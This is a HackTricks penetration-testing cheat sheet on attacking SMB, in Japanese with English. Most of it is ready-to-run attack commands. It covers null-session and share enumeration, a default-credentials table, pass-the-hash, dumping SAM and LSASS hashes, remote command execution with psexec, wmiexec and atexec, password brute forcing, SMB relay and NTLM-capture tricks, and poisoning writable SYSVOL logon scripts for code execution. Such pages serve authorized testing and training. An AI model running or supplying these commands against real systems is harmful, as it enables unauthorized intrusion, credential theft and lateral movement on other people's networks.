139,445 - Pentesting SMB

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Port 139

The Network Basic Input Output System** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、デスクトップがネットワーク機器とやり取りし、ネットワーク上でのデータ伝送を容易にするよう設計されたソフトウェアプロトコルです。NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は NetBIOS names によって行われ、これらの名前は最大16文字で、コンピュータ名とはしばしば異なります。2つのアプリケーション間の NetBIOS セッションは、あるアプリケーション(acting as the client)が別のアプリケーション(acting as the server)を「call」するコマンドを発行し、TCP Port 139 を利用して開始されます。

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

技術的には、Port 139 は ‘NBT over IP’ と呼ばれ、Port 445 は ‘SMB over IP’ と識別されます。頭字語 SMB は ‘Server Message Blocks’ の略で、現代では Common Internet File System (CIFS) としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートの共有アクセスを可能にし、ネットワーク上のノード間の様々な通信を促進するために利用されます。

例えば、Windows の文脈では、SMB が Port 445 を使用することで TCP/IP 上で直接動作でき、NetBIOS over TCP/IP を必要としなくなることが強調されます。逆に、他のシステムでは Port 139 の利用が見られ、SMB が NetBIOS over TCP/IP と併用されて実行されていることを示しています。

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

The Server Message Block (SMB) protocol, operating in a client-server model, is designed for regulating access to files, directories, and other network resources like printers and routers. Primarily utilized within the Windows operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft’s operating system to seamlessly interact with those running older versions. Additionally, the Samba project offers a free software solution, enabling SMB’s implementation on Linux and Unix systems, thereby facilitating cross-platform communication through SMB.

Shares, representing arbitrary parts of the local file system, can be provided by an SMB server, making the hierarchy visible to a client partly independent from the server’s actual structure. The Access Control Lists (ACLs), which define access rights, allow for fine-grained control over user permissions, including attributes like execute, read, and full access. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.

IPC$ Share

Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility enum4linux is useful for this purpose. Utilized properly, it enables the acquisition of:

  • Information on the operating system
  • Details on the parent domain
  • A compilation of local users and groups
  • Information on available SMB shares
  • The effective system security policy

This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. enum4linux provides a comprehensive view of the target system’s SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.

enum4linux -a target_ip

上のコマンドは、enum4linux を使って target_ip で指定されたターゲットに対してフル列挙を実行する例です。

NTLMとは

NTLMが何か分からない場合、あるいはその仕組みや悪用方法を知りたい場合は、NTLM に関するこのページが非常に参考になります。ここではこのプロトコルがどのように機能し、どのように活用できるかが説明されています:

NTLM

サーバー列挙

Scan ネットワーク内のホストを検索する:

nbtscan -r 192.168.0.1/24

SMB サーバーのバージョン

SMB のバージョンに対する可能な exploits を探すには、どのバージョンが使用されているかを知ることが重要です。もしこの情報が他のツールで表示されない場合は、次の方法を試してください:

  • MSF の auxiliary モジュール **auxiliary/scanner/smb/smb_version** を使用する
  • またはこのスクリプト:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

検索 exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

可能な 認証情報

ユーザー名一般的なパスワード
(空欄)(空欄)
guest(空欄)
Administrator, admin(空欄), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

SMB 環境情報

情報の取得

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

ユーザー、グループ、およびログオン中のユーザーを列挙

この情報は既に enum4linux と enum4linux-ng から収集されているはずです。

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

ローカルユーザーを列挙する

Impacket

lookupsid.py -no-pass hostname.local

ワンライナー

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - ローカルユーザーを列挙

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

LSARPC と SAMR rpcclient の列挙

rpcclient enumeration

GUI connection from linux

ターミナルで:

xdg-open smb://cascade.htb/

ファイルブラウザのウィンドウで (nautilus, thunar, etc)

smb://friendzone.htb/general/

共有フォルダの列挙

共有フォルダの一覧

常に、何かにアクセスできるか確認することをおすすめします。資格情報がない場合は、null credentials/guest user を試してください。

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

共有フォルダに接続/一覧表示

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

手動で windows シェアを列挙して接続する

ホストの共有を表示する権限が制限されており、一覧表示すると接続可能な共有がないように見えることがあります。したがって、短時間でも手動で share に接続を試みる価値があります。共有を手動で列挙する際は、NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を確認するとよいでしょう(有効なセッション使用時、例: null session や 有効な資格情報)。これらの応答は、共有が存在するがアクセス権がないのか、あるいは共有自体が存在しないのかを示している可能性があります。

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

またはこの script(null session を使用)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Windows から共有を列挙 / サードパーティ製ツールを使わずに

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD コンソール

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in(グラフィカル)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe(グラフィカル)で \\<ip>\ を入力すると、隠しではない共有が表示されます。

共有フォルダをマウントする

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

ファイルをダウンロードする

credentials/Pass-the-Hash を使って接続する方法は、前のセクションを参照してください。

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: “” はすべてのファイル)
  • recurse: 再帰を有効に切り替えます(default: off)
  • prompt: ファイル名のプロンプトを無効に切り替えます(default: on)
  • mget: マスクに一致するすべてのファイルをホストからクライアントマシンにコピーします

(smbclientのmanページからの情報)

ドメイン共有フォルダの検索

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they パスワードを含んでいる可能性があります for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

Tip

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts. You should check the scripts inside of it as you might find sensitive info such as パスワード. Also, don’t trust automated share listings: even if a share looks read-only, the underlying NTFS ACLs may allow writes. Always test with smbclient by uploading a small file to \\<dc>\\SYSVOL\\<domain>\\scripts\\. If writable, you can poison logon scripts for RCE at user logon.

ShareHound – OpenGraph collector for SMB shares (BloodHound)

ShareHound discovers domain SMB shares, traverses them, extracts ACLs, and emits an OpenGraph JSON file for BloodHound CE/Enterprise.

  • Baseline collection:
  1. LDAP: コンピューターオブジェクトを列挙し、dNSHostName を読み取る
  2. DNS: 各ホストを解決する
  3. SMB: 到達可能なホスト上の共有を一覧化する
  4. Crawl shares (BFS/DFS)、ファイル/フォルダを列挙し、権限を取得する

ShareQL-driven traversal

  • ShareQL is a first-match-wins DSL to allow/deny traversal by host/share/path and set per-rule max depth. Focus on interesting shares and cap recursion.

Example ShareQL rules

# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny  host * share * path *

使い方

sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
-rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
  • ADの資格情報を -ad/-au/-ap で提供する(または -ad-au/-ap を組み合わせて使用)。インラインルールやファイルには -r/-rf を使用する。
  • 出力: JSON OpenGraph。BloodHound にインポートして hosts/shares/files と実効権限をクエリする。
  • ヒント: フィルタが非常に厳しくない限り、最大深度を 1–2 に制限する。

BloodHound の attack-surface クエリ

  • shares に対して書き込み相当のアクセスを持つ Principals
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
  • 共有に対して FULL_CONTROL を持つプリンシパル
Cypher: 共有に対して FULL_CONTROL を持つプリンシパル ```cypher MATCH (p:Principal)-[r]->(s:NetworkShareSMB) WHERE (p)-[:CanDelete]->(s) AND (p)-[:CanDsControlAccess]->(s) AND (p)-[:CanDsCreateChild]->(s) AND (p)-[:CanDsDeleteChild]->(s) AND (p)-[:CanDsDeleteTree]->(s) AND (p)-[:CanDsListContents]->(s) AND (p)-[:CanDsListObject]->(s) AND (p)-[:CanDsReadProperty]->(s) AND (p)-[:CanDsWriteExtendedProperties]->(s) AND (p)-[:CanDsWriteProperty]->(s) AND (p)-[:CanReadControl]->(s) AND (p)-[:CanWriteDacl]->(s) AND (p)-[:CanWriteOwner]->(s) RETURN p,r,s ```
  • 拡張子(例: VMDKs)で機密ファイルを探索する
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p

レジストリの読み取り

発見した資格情報を使うことでレジストリを読み取れる場合があります。Impacket reg.py で試せます:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

Samba サーバーのデフォルト設定は通常 /etc/samba/smb.conf にあり、いくつかの危険な設定が含まれている可能性があります:

設定説明
browseable = yes利用可能な共有を一覧表示できるようにするか?
read only = noファイルの作成と変更を禁止するか?
writable = yesユーザーがファイルを作成・変更できるようにするか?
guest ok = yesパスワードを使わずにサービスへ接続できるようにするか?
enable privileges = yes特定の SID に割り当てられた権限を適用するか?
create mask = 0777新規作成されたファイルにどのパーミッションを割り当てるべきか?
directory mask = 0777新規作成されたディレクトリにどのパーミッションを割り当てるべきか?
logon script = script.shユーザーのログイン時にどのスクリプトを実行すべきか?
magic script = script.shスクリプトが終了したときにどのスクリプトを実行するか?
magic output = script.outmagic スクリプトの出力をどこに保存するか?

コマンド smbstatusサーバー誰が接続しているかに関する情報を表示します。

Authenticate using Kerberos

ツール smbclientrpcclient を使って kerberos認証できます:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Kerberos-only 環境(NTLM が無効)の場合、SMB に対する NTLM の試行は STATUS_NOT_SUPPORTED を返すことがあります。一般的な Kerberos の問題を修正し、Kerberos 認証を強制してください:

# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

完全なクライアント設定(krb5.conf の生成、kinit、SSH GSSAPI/SPN に関する注意点)については次を参照してください:

88tcp/udp - Pentesting Kerberos

コマンドの実行

crackmapexec

crackmapexec は 悪用して mmcexec, smbexec, atexec, wmiexec のいずれかを使ってコマンドを実行できます。wmiexecデフォルト の方法です。--exec-method パラメータで使用するオプションを指定できます:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

両方のオプションは被害者マシン上で (using \pipe\svcctl via SMB) を使って 新しいサービスを作成し、それを使って 何かを実行しますpsexec は実行可能ファイルを ADMIN$ share に upload し、smbexeccmd.exe/powershell.exe を指して引数に payload を入れる(–file-less technique--)。
詳細psexec smbexec を参照してください。
kali では /usr/share/doc/python3-impacket/examples/ にあります

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

parameter-k を使用すると、NTLM の代わりに kerberos で認証できます

wmiexec/dcomexec

ディスクに触れたり新しいサービスを起動したりせずに、DCOM を介して port 135. 経由でコマンドシェルをステルス実行します。
In kali it is located on /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

パラメータ-k を使用すると、kerberos で認証でき、NTLM の代わりになります。

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

タスクスケジューラを介してコマンドを実行します(\pipe\atsvc を SMB 経由で使用)。
kali では /usr/share/doc/python3-impacket/examples/ にあります

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket リファレンス

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce users credentials

推奨されません。許可された最大試行回数を超えるとアカウントがブロックされる可能性があります。

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

この攻撃は Responder toolkit を使って内部ネットワーク上の SMB 認証セッションキャプチャし、それらを target machineリレーします。認証 セッションが成功した場合、自動的に system shell に入ることができます。
この攻撃の詳細はこちら。

SMB-Trap

Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例: img src="\\10.10.10.10\path\image.jpg"

これは次の関数で発生します:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

これらは一部のブラウザやツール(例: Skype)で使用されます。

出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

SMB Trapping と同様に、ターゲットシステムに悪意のあるファイルを配置することで(例:SMB 経由)、SMB 認証が発生し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。ハッシュはオフラインでクラックするか、SMB relay attack に利用できます。

参照: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする